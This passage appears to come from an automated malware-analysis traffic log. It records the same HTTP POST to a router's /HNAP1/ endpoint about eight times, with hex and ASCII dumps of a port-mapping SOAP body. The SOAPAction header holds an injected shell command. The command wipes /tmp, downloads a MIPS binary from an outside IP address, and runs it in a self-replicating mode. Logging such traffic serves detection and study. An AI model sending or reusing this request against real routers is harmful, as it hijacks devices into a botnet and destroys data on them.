69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
